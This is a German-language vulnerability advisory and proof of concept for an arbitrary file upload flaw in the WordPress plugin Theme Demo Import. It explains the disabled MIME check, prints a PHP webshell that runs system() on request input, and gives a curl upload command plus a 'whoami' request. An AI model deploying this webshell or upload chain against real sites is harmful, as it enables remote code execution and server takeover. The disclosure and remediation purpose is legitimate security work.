
Proof of Concept und Root-Cause-Analyse für einen authentifizierten, beliebigen Datei-Upload im WordPress Theme Demo Import, der über eine PHP-Webshell zu Remote-Code-Ausführung führt.
CVE-2026-13157 ist eine authentifizierte Schwachstelle für beliebige Datei-Uploads, die das WordPress-Plugin Theme Demo Import bis einschließlich Version 1.1.3 betrifft. Sie wurde vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK) entdeckt und analysiert. Die Schwachstelle befindet sich in der AJAX-Demoimport-Routine (TDI_import_demo_data), bei der das Plugin während der Upload-Verarbeitung die standardmäßigen WordPress-Dateityp-Überprüfungen ('test_type' => false) explizit deaktiviert. Ein authentifizierter Benutzer mit Importberechtigungen – etwa ein standardmäßiger Site-Administrator oder ein Nicht-Super-Admin-Site-Administrator in einer WordPress-Multisite-Architektur – kann die Durchsetzung der Dateibeschränkungen umgehen, um beliebige ausführbare PHP-Skripte direkt in das öffentliche Verzeichnis wp-content/uploads/ hochzuladen, was zu persistenter Remote Code Execution (RCE) und vollständiger Kompromittierung des Servers führt.
| Parameter | Technische Spezifikation |
|---|---|
| Schwachstellenkennung | CVE-2026-13157 |
| Betroffene Software | Theme Demo Import (WordPress-Plugin) |
| Plugin-Slug | theme-demo-import |
| Betroffene Versionen | <= 1.1.3 |
| Schwachstellenklasse | Uneingeschränkter Upload von Dateien mit gefährlichem Typ (CWE-434 / OWASP A03) |
| CVSS-v3.1-Score | 6.6 (Mittel) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Entdecker / Forscher | Huynh Kien Minh (MinhHK) |
| Verifizierungsinstanz | WPScan / MITRE Corporation |
| WPScan-Advisory-URL | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Portfolio des Forschers | https://minhhk.web.app/ |
Die Grundursache von CVE-2026-13157 liegt in der Architektur zur Datei-Upload-Verarbeitung, die in inc/class-tdi-helpers.php implementiert ist. Während Demo-Datenimport-Vorgängen verarbeitet das Plugin eingehende Dateianhänge über den AJAX-Endpunkt, der in inc/class-tdi-main.php in Zeile 55 registriert ist:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
Bei der Verarbeitung hochgeladener Demo-Konfigurationsdateien (content_file, widget_file und customizer_file) weist die interne Importmethode die WordPress-wp_handle_upload()-API direkt an, die MIME-Typ- und Formularvalidierungsprüfungen zu umgehen:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Durch die Übergabe von 'test_type' => false an $upload_overrides hat der Entwickler das MIME-Überprüfungssubsystem des WordPress-Kerns (wp_check_filetype_and_ext()) außer Kraft gesetzt. Die direkte Konsequenz ist, dass die Anwendung Dateianhänge nicht mehr auf sichere Demo-Datenformate (.xml, .json, .wie, .dat) beschränkt, sodass jeder authentifizierte Benutzer mit Zugriff auf die Einstellungsseite ausführbare PHP-Skripte (.php, .phtml, .phar) direkt in das öffentliche Dokumentenverzeichnis hochladen kann.
Ethik-Hinweis für die Forschung: Dieses Proof of Concept dient ausschließlich Bildungs-, Audit-, Defensiv-Engineering- und autorisierten Sicherheitsvalidierungszwecken. Die unbefugte Ausnutzung von Live-Systemen ist untersagt.
<= 1.1.3.import-Berechtigungen (Admin / Multisite-Site-Admin).tdi-ajax-verification (im Seiten-DOM als JavaScript-Objekteigenschaft tdi.ajax_nonce auf /wp-admin/themes.php?page=theme-demo-import verfügbar).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Während einzelne WordPress-Installationen standardmäßigen Administratoren vertrauenswürdige Kontrolle über die Serverumgebung gewähren, führt CVE-2026-13157 in Enterprise- und Multisite-Bereitstellungen zum Zusammenbruch kritischer Sicherheitsgrenzen:
unfiltered_upload-Fähigkeit ist ausschließlich Netzwerk-Super-Admins vorbehalten). CVE-2026-13157 zerstört diese Multi-Tenant-Isolation vollständig und ermöglicht es einem nicht verifizierten Sub-Site-Administrator, eine Webshell abzulegen und Systembefehle im gesamten Servernetzwerk auszuführen.DISALLOW_FILE_EDIT). Diese Schwachstelle umgeht Hosting-Beschränkungen, indem sie den nativen Dateiübertragungsmechanismus des Plugins ausnutzt, um beliebigen ausführbaren Code direkt in beschreibbaren Volume-Speicher zu schreiben.Um CVE-2026-13157 sicher zu beheben, müssen Softwarewartungsteams und defensive Ingenieure unverzüglich die strenge MIME-Typ- und Dateierweiterungsvalidierung in der Upload-Verarbeitungslogik in inc/class-tdi-helpers.php wiederherstellen.